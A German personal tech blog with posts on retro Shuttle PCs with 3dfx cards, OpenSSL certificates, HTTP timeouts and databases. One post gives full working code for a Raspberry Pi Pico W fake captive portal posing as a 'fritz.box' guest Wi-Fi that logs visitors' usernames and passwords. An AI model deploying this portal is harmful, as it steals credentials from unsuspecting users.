Sonntag, 11. Februar 2024

Retro - Geeignete Shuttle XPC's (SK41G, SS51G) für den Einsatz von 3dfx Voodoo AGP Grafikkarten (3,3V)

Wie sollte ein kompakter Retro-Gaming-PC aus den Jahren 1999 - 2000 am Besten aussehen? In diesem Beitrag möchte euch meine zwei Favoriten vorstellen!

Anfang der 2000er präsentierte Shuttle Inc. die ersten Mini-Aluminium-Barebone-Systeme (XPC). Ein XPC ist ein sehr kompakter PC und lässt sich dank seines Formates auf dem Schreibtisch oder im Wohnzimmerregal verwenden. Die Barebones sind "halbfertige PCs". Sie bestehen aus Hauptplatine, Netzteil, Kühlung und Gehäuse. Die weiteren Komponenten wie Prozessor, Arbeitsspeicher, Festplatte und Grafikkarte können je nach Kundenwunsch gekauft werden.

Quelle: https://archive.shuttle.eu/

3dfx Interactive der 3D-Pionier mitte der 1990er Jahre, bis zur Übernahme durch den Konkurrenten Nvidia im Dezember 2000. Erstmals war es im Jahr 1996 mit einer Voodoo Graphics 3D-Beschleuniger (SST-1, z.B. Diamond Monster 3D, 640 × 480 Pixel) möglich, polygonal gestaltete Spielwelten mithilfe des dedizierten Chips zu beschleunigen und die zuvor blockigen Texturen bilinear zu interpolieren.

Bei der Verwendung von 3dfx Voodoo AGP Grafikkarten ist es extrem wichtig, auf die Spannung (3,3V) des AGP-Steckplatz (AGP 2x) zu achten! Die folgenden Grafikkarten lassen sich daher nur in den zwei genannten Shuttle XPCs verwenden:

Nur die 3dfx Voodoo4 4500 AGP ist AGP 4x fähig und unterstützt den 1,5V-Modus! Sie lässt sich somit auch in anderen Shuttle XPC verwenden. Leider wurde die Voodoo4 4500 AGP nur in geringen Stückzahlen hergestellt und ist mittlerweile auf z.B. eBay für weit über 400 EUR zu bekommen.

XPC SK41G - Mainboard FX41 - Sockel A AMD Athlon XP

 


XPC SS51G - Mainboard FS51 - Socket 478 Intel Pentium 4

Ich selber empfehle für ein "halbwegs" kostengünstiges 3dfx-Retro-Shuttle eine 3dfx Voodoo3 2000 / 3000 AGP 16MB Grafikkarte. Die Voodoo3 war der zweite 2D/3D Kombichip von 3dfx.

Aufgrund des kleinen passiven Kühler der Voodoo3 2000, passt diese perfekt in die Shuttle XPC (SK41G, SS51G) und ist der Voodoo3 3000 ggf. zu bevorzugen. 


Gekühlt wird diese Karte (wie fast alle Modelle) passiv, was zur folge hat das der Kühler nach kurzer Zeit sehr heiß wird. Allerdings war bisher in meinem Shuttle keine aktive Kühlung notwendig, da die XPCs sehr gut belüftet sind. 

Meine aktuelle Konfiguration des Shuttle XPC SK41G

CPU: AMD XP 2400+ (Thoroughbred) SDA2400DUT3D Sockel 462 A FSB333

  • Frequency: 1667 MHz
  • Bus speed: 333 MHz
  • Level 1 cache size: 64 KB code; 64 KB data
  • Level 2 cache size: Full speed on-die exclusive 256 KB

Grafikkarte: 3dfx Voodoo 3 3000 AGP

  • RAM: 16 MB
  • Speichertakt: 166 MHz
  • RAMDAC: 350 MHz
  • Chiptakt: 166 MHz
  • Connectors: VGA, TV-Out


Arbeitsspeicher: 512 MB RAM (2x 256 MB DDR266 Speicher)

Festplatte: 40GB HDD Seagate Festplatte IDE ST340014A Barracuda 7.200 rpm

Laufwerke: 

  • NEC ND-1100A DVD+RW Brenner ATAPI IDE dunkelgrau
  • 1,44MB Diskettenlaufwerk

Soundkarte: Creative Labs Sound Blaster Live CT4670 PCI

Microsoft Sidewinder Gamepad 1.0 (Game Port)

Betriebssystem: Windows 98 SE mit dem neuesten Service Pack, siehe www.creopard.de/projekte/windows-98-se-service-pack.htm .

3dfx Treiber: Voodoo3 2000/3000 AGP/PCI - Windows 95/98/ME WHQL - Version 1.07.00 (30.11.2000) 8.36 MB

Installierte Games:

  • Unreal, Unreal Tournament, Age of Empires, Quake, Quake II, Blood, Need for Speed II SE, Shadow Warrior, Duke Nukem 3D, Dune 2000, FIFA: Road to World Cup 98, Tomb Raider, Turok, Z

 

Ich wünsche viel Erfolg beim Nachbauen!

Sonntag, 28. Januar 2024

Raspberry Pi - Ermitteln der CPU-Temperatur (vcgencmd)

Die Überwachung der Temperatur des Raspberry Pi kann sehr wichtig sein, wenn man ihn in einem Bereich mit einer geringer Luftzirkulation betreibt.Offiziell ist der Prozessor für  Temperaturen von ca. -40 °C bis 85 °C ausgelegt.

Das Ablesen der Temperatur kann mit dem folgenden Befehl durchgeführt werden:

vcgencmd measure_temp

oder

/opt/vc/bin/vcgencmd measure_temp


Hinweis: Wenn sich die Temperatur des Raspberry Pi der Obergrenze nähert, beginnt das System automatisch, den Prozessor zu drosseln!

Samstag, 27. Januar 2024

Asymmetrische Kryptografie - Grundwissen (Zertifikate, OpenSSL, Public-Key-Authentifizierung, RSA)

In diesem Beitrag beschreibe ich das asymmetrische Kryptosystem. Ich zeige, wie man private Schlüssel mit dem Kommandozeilentool OpenSSL generieren und verwenden kann. Am Ende des Beitrags hat man verstanden, was genau eigentlich Zertifikate von CA’s mit einer Public-Key-Authentifizierung und RSA zu tun haben.


OpenSSL

Als Basis Tool für den Umgang mit privaten und öffentlichen Schlüsseln, Zertifikaten oder Zertifizierungsanfragen dient das Kommandozeilentool openssl. OpenSSL verfügt zudem über eine Vielzahl von Befehlen um Schlüssel und Zertifikate zu erstellen, zu Signieren, Umzuwandeln oder zu verschlüsseln.
Bei den meisten Linux Versionen (z.B. Ubuntu bzw. Ubuntu für WSL) ist es in der Regel vorinstalliert. Alternativ ist auch eine Verwendung von OpenSSL unter Windows mit den Binaries ohne Probleme möglich, siehe https://wiki.openssl.org/index.php/Binaries.

Um zu überprüfen, welche OpenSSL-Version installiert ist, kann man mit dem folgenden Befehl herausfinden:

(deck@steamdeck ~)$ openssl version
OpenSSL 1.1.1q  5 Jul 2022


Basiswissen Zertifikate

Mit Hilfe von Zertifikaten ist es möglich eine gesicherte Verbindung zwischen zwei Rechnern aufzubauen. Wir sprechen hier von asymmetrischer Kryptografie. Ein Zertifikat besteht aus einem Schlüsselpaar. Einem Private-Key (geheim und gut schützen), einem Public-Key (öffentlich) und einer Signatur von einer vertrauenswürdigen Zertifizierungsstelle (Certificate Authority - CA). 

Verschlüsselt ein Sender seine Nachricht mit dem Public-Key, kann nur der Empfänger mit dem Private-Key diese wieder entschlüsseln.

Damit die Zertifizierungsstelle das Schlüsselpaar mit seiner eigenen digitalen Signatur zur Authentifizierung (die Angaben des Antragstellers werden überprüft und bestätigt) signieren kann, sind einige Informationen notwendig (Gebräuchlicher Name (CN), Organisation (O), Organisationseinheit (OU), Land/Region (C), Bundesstaat (ST), Ort (L), Domain, E-Mail). Diese werden in einer CSR-Datei (Certificate Signing Request) gespeichert.

Country Name (2 letter code) [AU]: DE
State or Province Name (full name) [Some-State]: Hessen
Locality Name (eg, city) []: Bad Hersfeld
Organization Name (eg, company) [Internet Widgits Pty Ltd]: Ski-Club e.V.
Organizational Unit Name (eg, section) []:
Common Name (eg, YOUR name) []: www.scxyz.de
Email Address []: webmaster@scnxyz.de

Um jetzt ein signiertes Zertifikat zu erhalten, muss man die CSR-Datei an die jeweilige Zertifizierungsstelle (Verisign, GeoTrust, GlobalSign, CAcert) senden. Nach eine Überprüfung und Bestätigung der angegeben Daten, bekommt man von Zertifizierungsstelle ein signiertes Zertifikat zurück.

Wichtige Dateinamenserweiterungen von Zertifikaten:

  • .KEY - Schlüsselpaar aus öffentlichen (Public-Key) und privaten Schlüssel (Private-Key, geheimer Schlüssel)
  • .CSR - Base64-kodierte Zertifizierungsanfrage des öffentlichen Schlüssels (plus weitere Metadaten des Besitzers) an eine CA
  • .CRT - Finales signiertes Zertifikat, DER- oder Base64-kodiert
  • .PEM - Schlüsselteile (Public-Key oder signiertes Zertifikat mit Private-Key) Base64-kodiertes

Erstellung eines Zertifikats (Private-Key und Pubilc-Key extrahierern)

Die Erstellung erfolgt in zwei Schritten mit Hilfe von openssl. Zunächst muss ein Private-Key mit Hilfe von openssl genrsa generiert werden:

openssl genrsa -out example-rsa-key.pem 2048

Hinweis: Dieser Befehl ist veraltet, siehe auch genrsa => Generation of RSA Private Key. Superseded by openssl-genpkey(1).

openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out example-rsa-key.pem

Die Erstellung eins passwortgeschützten Schlüsselpaars erfolgt mit der Endung -aes256

openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out example-rsa-key.pem -aes256

In diesem Beispiel wird ein RSA-Schlüssel mit 2048 Bit Länge erstellt. Laut BSI werden RSA-Schlüssel mit 3000 Bit empfohlen. Auch wird mit dem Befehl nicht nur der Private-Key, sondern auch der Public-Key erstellt!

Mit dem folgenden Befehl kann man den Public-Key extrahieren:

openssl rsa -in example-rsa-key.pem -pubout -out example-rsa-key-public.pem

Certificate Signing Request (CSR) => signiertes Zertifikat

Im nächsten Schritt muss ein Certificate Signing Request erstellt werden (siehe oben Basiswissen). Die Informationen welche hier hinterlegt werden, sind für die Authentifizierung (CA) sehr wichtig!

openssl req -new -key example-rsa-key.pem -out example.csr


Mit dieser CSR-Datei erhält man von der Zertifizierungsstelle, ein gültiges öffentliches Zertifikat!

Hinweis: Zertifikate müssen nicht immer von einer vertrauenswürdigen Zertifizierungsstelle signiert werden. Zum Beispiel für eine interne Kommunikation zwischen Servern sollte ein selbst signiertes Zertifikat genügen!

openssl x509 -in example.csr -out example.crt -req -signkey example-rsa-key.pem -days 3650

In der Datei example.crt befindet sich nun das signierte Zertifikat!

Auslesen kann man diese Datei mit dem folgenden Befehl:

openssl x509 -in example.crt -noout -text
Certificate:
   Data:
       Version: 1 (0x0)
       Serial Number:
           5e:b7:ad:d4:4a:c9:bb:50:90:e9:16:d2:17:59:4e:d1:5d:e3:66:9d
       Signature Algorithm: sha256WithRSAEncryption
       Issuer: C = DE, ST = Hessen, L = Bad Hersfeld, O = Ski-Club, CN = www.xyz.de, emailAddress = webmaster@xyz.de
       Validity
           Not Before: Jan 27 18:37:06 2024 GMT
           Not After : Jan 24 18:37:06 2034 GMT
       Subject: C = DE, ST = Hessen, L = Bad Hersfeld, O = Ski-Club, CN = www.xyz.de, emailAddress = webmaster@xyz.de
       Subject Public Key Info:
           Public Key Algorithm: rsaEncryption
               RSA Public-Key: (2048 bit)
               Modulus:
                   00:b6:6f:47:46:42:60:05:51:55:03:e4:a6:30:54:
                   6a:e3:cc:ac:ef:0c:2a:37:37:ea:fa:bf:30:ed:b0:
                   f8:11:14:28:69:f4:69:70:d0:cd:e7:56:ed:b4:f2:
                   15:8a:f4:dc:4e:19:d4:3d:f1:fd:b5:d4:ca:fd:38:
                   ae:5c:7a:2c:d4:bf:94:e7:17:5c:e6:de:a1:d3:47:
                   d7:c4:35:dc:04:c0:e4:09:c9:f9:0d:e5:ab:90:1c:
                   b4:ab:3f:92:02:4b:4b:6d:62:2f:ff:eb:89:84:93:
                   ab:d3:3c:f4:8a:49:4f:37:f7:2f:77:10:b2:b4:4d:
                   8a:9e:70:54:19:29:57:9f:77:8b:a3:88:c1:16:f7:
                   c0:be:d0:63:de:c4:c0:92:70:6f:2d:88:44:c7:cb:
                   a4:70:4e:d3:86:00:30:9f:29:c2:13:39:44:72:ad:
                   17:d7:12:da:a4:ac:db:a0:2a:25:0c:c3:9a:6d:4e:
                   8f:55:eb:28:34:4a:86:08:0e:4e:8a:1a:7b:93:e5:
                   fb:48:f7:b7:53:85:aa:89:6f:a3:6b:4e:0a:05:6b:
                   f8:c6:d4:b2:9b:60:3c:00:a8:dc:3f:58:79:75:23:
                   c3:d0:43:42:34:ae:0a:96:bf:1d:28:d5:c4:4b:ce:
                   55:66:67:c4:dd:3d:5e:51:5b:b4:7f:c2:66:12:35:
                   55:25
               Exponent: 65537 (0x10001)
   Signature Algorithm: sha256WithRSAEncryption
        a2:73:df:99:2a:90:ae:a8:04:dc:b4:88:68:82:a8:49:00:f5:
        72:d8:d3:e1:05:59:cd:80:9a:25:5c:77:79:dc:fc:c0:ab:26:
        54:6e:b7:ab:98:ce:7e:1f:e4:a6:a2:0b:03:54:31:3e:41:23:
        69:36:59:06:d6:68:41:6e:80:a6:be:3f:ef:04:f3:8a:8b:2d:
        ae:ae:62:ce:8b:33:fb:2b:a7:61:8f:a3:a4:3a:ff:e8:2b:32:
        c8:8b:1e:5e:d2:dd:48:07:18:ec:73:73:7b:61:34:bd:a9:8d:
        66:87:fc:0a:42:8f:e2:d5:9a:1e:83:b4:b4:91:c2:ff:c1:2c:
        ce:21:07:f2:43:3b:e6:b5:42:ee:a7:89:7f:9f:9f:ba:7b:c1:
        a2:39:31:52:3b:39:eb:03:58:0f:4e:f5:c9:f2:26:73:20:bc:
        05:a0:a3:5a:02:6c:74:6a:5c:82:c0:69:8d:a4:29:66:0b:c2:
        e1:e2:08:fd:3c:50:ee:86:03:53:eb:b4:0e:7f:53:1d:6b:b9:
        6c:5b:4e:6b:81:85:3b:38:2a:d7:39:c9:88:50:56:9f:68:51:
        6f:62:a6:76:70:13:ab:30:e5:75:4e:24:c2:d5:5c:91:72:06:
        f5:90:ea:b3:46:50:21:aa:3d:3e:33:2d:c2:ae:ce:2d:70:ea:
        41:0a:b4:f5


Quellen: c't 2/2024 S. 126 und https://cheat.readthedocs.io/en/latest/openssl.html

Freitag, 5. Januar 2024

Raspberry Pi Pico - WLAN und Webserver Bibliothek "phew"

Der Raspberry Pi Pico W kostet nur ca. 10 Euro und ist somit viel günstiger als der normale Raspberry Pi oder Raspberry Pi Zero. Der Pico arbeitet mit einem RP2040 Mikrocontroller (ARM Cortex M0+ mit bis zu 133 MHz Taktfrequenz als CPU, 264 kByte RAM und 2 MByte Flash-Speicher).

In diesem Beitrag werde ich zeigen, wie man einen WLAN-Hotspot einrichtet und per Webserver eine Webseite bzw. eine Hotspot Anmeldewebseite (Captive Portal) ausliefert. Diese kann nun zum Identitätsdiebstahl dienen.


MicroPython installieren

MicroPython steht auf der folgenden Webseite https://micropython.org/download/RPI_PICO_W/ zum Download bereit.

Nach dem Download muss die UF2-Datei auf den Pico geladen werden. Hierfür muss die Boot-Selektor-Taste (BootSEL) gedrückt gehalten werden und der Pico per USB-Kabel mit dem Rechner verbunden werden.
Die Taste BootSEL kann jetzt losgelassen werden, der Pico wird jetzt als Massenspeicher RPI-RP2 erkannt und die Firmwaredatei kann kopiert werden.

Nach dem kopieren der Firmware-Datei, wird diese sofort installiert und es wird ein Reset durchgeführt (der Massenspeicher wird nicht mehr angezeigt).

Die Programmierung kann anschließend mit der Entwicklungsumgebung Thonny erfolgen.

Unter Linux (in meinem Fall das Steam Deck) ist folgendes zu beachten:
(deck@steamdeck Tools)$ ls -l /dev/ttyACM1
crw-rw---- 1 root uucp 166, 1 Jan  2 20:08 /dev/ttyACM1
(deck@steamdeck Tools)$ sudo usermod -a -G uucp deck


Siehe auch https://support.arduino.cc/hc/en-us/articles/360016495679-Fix-port-access-on-Linux.

"phew" Bibliothek (WLAN- und Webserver) installieren

Das aktuelle Release von "phew" unter https://github.com/pimoroni/phew/releases herunterladen und mit Hilfe von Thonny auf den Pico übertragen.


Jetzt lässt sich "phew" wie jede andere Bibliothek einbinden.

Hotspot-Popup (Captive-Portal) programmieren

Wir beginnen mit der main.py . Hier gibt es Abschnitte mit den Kommentaren „#Android Redirects“, „#Apple Redir“ und „#Microsoft Windows Redirects“. In diesen Abschnitten werden die jeweiligen Tests behandelt, die jedes Betriebssystem ausführt um auf ein Captive Portal zu reagieren.

#!/usr/bin/python
# coding=utf-8
# Captive Portal with a Raspberry Pi Pico W
# (c) Sebastian Hemel, www.shemel.de
# Based on picockpit.com/raspberry-pi/raspberry-pi-pico-w-captive-portal-hotspot-access-point-pop-up/
#-----------------------------------------------------------------------------------

from phew import access_point, logging, server, dns
from phew.template import render_template
from os import stat

# This is the address that is shown on the Captive Portal
DOMAIN = "fritz.box" #pico.wireless
# Change this to whatever Wifi SSID you wish
SSID = "Gast-WLAN" #Pico W Captive
HTDOCS = "htdocs"

#How to trigger the pop-up
@server.route("/hotspot-detect.html", methods=["GET"])     # apple redir
@server.route("/generate_204", methods=["GET"])            # android redirects
@server.route("/redirect", methods=["GET"])
def hotspot(request):
    logging.info("redirecting hotspot request " + request.path)
    return server.redirect(f"http://{DOMAIN}/", 302)

@server.route("/ncsi.txt", methods=["GET"])                # microsoft windows redirects
@server.route("/connecttest.txt", methods=["GET"])
def hotspot(request):
    return "", 200

@server.route("/", methods=['GET'])
def index(request):
    logging.info("route/ retrieving index.html")
    logging.info("Got data: " + request.query_string)
    return render_template(HTDOCS + "/index.html")

@server.route("route/data.html", methods=["GET"])
def hotspot(request):
    logging.info("/data.html retrieving index.html")
    logging.info("Got data: " + request.query_string)
    return render_template(HTDOCS + "/index.html")

@server.route("/log.txt", methods=["GET"])
def hotspot(request):
    return render_template("log.txt")

@server.catchall()
def catch_all(request):
    try:
        print("***************CATCHALL***********************\n" + str(request))
        stat(HTDOCS + request.path)
        return render_template(HTDOCS + request.path)
    except OSError:
        return "Not found:" + request.path, 404

# Set to Accesspoint mode
ap = access_point(SSID)
ip = ap.ifconfig()[0]
# Grab the IP address and store it
logging.info(f"starting DNS server on {ip}")
# Catch all (DNS server) requests and reroute them
dns.run_catchall(ip)
# Run the server
server.run()
logging.info("Webserver Started")


Im nächsten Schritt benötigen wir eine index.html , hierbei handelt es sich um eine einfache "Proof-of-Concept-Datei". Diese gibt sich als "Captive Portal" aus und fordert den User auf seine Zugangsdaten einzugeben.

     

<!DOCTYPE html>
<html lang="de">
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>Pico W Captive Portal</title>
      </head>
      <body>
        <h1>Willkommen beim Captive Portal</h1>
     
        <h2>Login</h2>
           <form id="login-form">
              <p>
            <input type="text" name="username" id="username-field" class="login-form-field" placeholder="Benutzername">
            </p>
              <p>
            <input type="password" name="password" id="password-field" class="login-form-field" placeholder="Passwort">
            </p>
            <input type="submit" value="Absenden" id="login-form-submit" onclick="validate()">
        </form>
       
<script>
    function validate(){
        var username = document.getElementById("username-field").value;
        var password = document.getElementById("password-field").value;
        if (username && password){
            alert ("Login erfolgreich!");
            window.location = "index.html?username="+username+"&password="+password; // Redirecting to other page.
            return false;
        }
        else{
            alert("Bitte geben Sie Ihre Zugangsdaten ein!");
            return false;
        }
    }   
</script>
       
    </body>
</html>

Diese werden durch das Python Script jedoch in eine log.txt gespeichert ;-) .

Hinweis: Bitte beachtet hier den § 202c Vorbereiten des Ausspähens und Abfangens von Daten!

Dienstag, 7. November 2023

Internet - Verbindungszeitlimit für HTTP-Anfragen (connection timeout during http request)

Es gibt viele Formen von Zeitüberschreitungen bei HTTP-Anfragen. Diese sind das Verbindungszeitlimit, das Anforderungszeitlimit oder das Time to Live Zeitlimit. In diesem Beitrag werde ich diese drei Formen näher beschreiben und Möglichkeiten aufzeigen, um diese "timeouts" per Browsereinstellungen hinauszuzögern.


Verbindungszeitlimit (connection timeout)

Zeitraum, innerhalb dessen eine Verbindung zwischen einem Client und einem Server hergestellt werden muss.

Beispiel: Man navigiert mit dem Browser (Client) zu einer Website (Server). Der Browser beginnt nun auf die Antwortnachricht von diesem Server zu warten. Diese Antwort trifft beim Client aber nie ein (z. B. weil der Server offline ist). Nach 250 Sekunden (Firefox), gibt der Browser das Warten auf (connection timeout).

Die Einstellung kann mit Hilfe von about:config angepasst werden:

  • network.http.connection-retry-timeout

Anforderungszeitüberschreitung (request timeout)

Zeitraum, in dem der Server nicht bereit war, zu lange auf die Antwort vom Client zu warten. Wurde die Verbindung zwischen Server und Client hergestellt, muss der Client den Server regelmäßig darüber informieren das die Verbindung noch besteht. Geschieht dies nicht, trennt der Server diese Verbindung. Siehe auch https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/408.

Die Einstellung kann mi Hilfe von about:config angepasst werden:

  • network.http.pipelining.read-timeout

 

Time to Live (time to live)

Beschreibt den angegebenen Wert eines Paket, wie lange das Paket in einem Netzwerk am Leben bleiben kann. In einem Netzwerk durchläuft ein Paket verschiedene Router, die sich auf dem Weg  zwischen dem Ursprung des Pakets und seinem Ziel befinden. Jedes Mal, wenn der Router das Paket erneut sendet, verringert er auch seinen TTL-Wert um 1. Wenn dieser Wert auf 0 fällt, sendet der Router das Paket nicht erneut, sondern verwirft es einfach, da das Paket nicht mehr leben soll. Hiermit soll eine Datenüberflutung des Netzwerks verhindert werden, da jedes Paket nur für eine begrenzte „Zeit“ darin verbleiben kann.

Die Einstellung kann mi Hilfe von about:config angepasst werden:

  • network.http.keep-alive.timeout

 

Samstag, 28. Oktober 2023

Datenbank - Warum Transaktionen?

In meinem Beitrag Überblick über Datenbankmanagementsysteme (DBMS) habe ich PostgreSQL im Zusammenhang mit dem Transaktionsverfahren erwähnt. Ich werde kurz erklären, für was Transaktionen im Datenbankumfeld hilfreich sind.


Transaktionen helfen dabei dass Änderungen vollständig und dauerhaft in der Datenbank gespeichert werden. Dies nennt man auch ACID-Kriterien.

Am Besten lässt sich dies mit einem Beispiel aus dem Bankensektor beschreiben "Es soll eine Überweisung von einem Konto auf ein anderes durchgeführt werden":

  1. Es wird der Kontostand des einen Kontos um 100 Euro vermindert und soll durch das Programm  später auf dem anderen Konto erhöht werden.
  2. Es kommt zu einem Fehler und der Server stürzt genau während dieser Aktion ab.
  3. In diesem Fall muss der komplette Vorgang zurück abgewickelt werden, damit keine fehlerhaften Daten in der Datenbank verbleiben.

Die einzelnen Punkte in dem Programm müssen eine TRANSACTION gehüllt werden. Gibt es am Ende  keine Probleme führt man zum Ende den COMMIT Befehl aus. Somit wird sichergestellt, dass immer nur alles oder nichts geändert. Bei Problemen kommt es zu einem ROLLBACK.


Datenbank - Überblick über Datenbankmanagementsysteme (DBMS)

Nach einem Datenbank Artikel zum Thema Universally Unique Identifier (UUID) als Primärschlüssel verwenden, möchte ich in diesem Beitrag einen kurzen Überblick über Datenbankmanagementsysteme (DBMS) geben.


Einen guten Überblick bekommt man durch die Webseite db-engines.com, sie stellt Bestenlisten bereit und berechnet die Popularität von Datenbanken anhand von Suchergebnissen.


Die Oracle-Datenbank, MySQL und Microsofts SQL Server sind die Top 3 der relationalen Datenbanken und sind die erste Wahl für viele Anwendungen.

Möchte man schnell einen ersten Prototypen entwickeln (ohne Administration einer Entwicklungsinstanz mit einer Datenbank hochzufahren), bietet sich zu SQLite an. Eine Bibliothek, die ein DBMS imitiert, aber keinen Serverdienst hochfährt. Die Daten liegen hier in in einer lokal gespeicherten Datei. Siehe auch mein Beitrag SQLite - Import CSV File - existing or new table.

PostgreSQL ist auch eine relationale Datenbank, unterstützt zum Beispiel das Transaktionsverfahren und den Datentyp JSON. Die Daten werden im JSON-Format abgelegt und sind durchsuch- und manipulierbar (ohne reguläre Ausdrücke verwenden zu müssen). Auch bieten die Funkionen LISTEN und NOTIFY eine Event-Driven-Architecture.

Beim Thema NoSQL (schemalose dokumentengestützte Datenbanken) kommt oft MongoDB zum Einsatz. Für ein Objekt was gespeichert werden soll muss somit keine Tabelle mit Spalten und Datentypen angelegt werden. Gleiche oder ähnliche Datenobjekte speichert man hier in einer Collection.

Elasticsearch verwendet man, wenn man große Datenmengen mit viel Text durchsuchbar speichern möchte z.B. für eine Suchmaschine.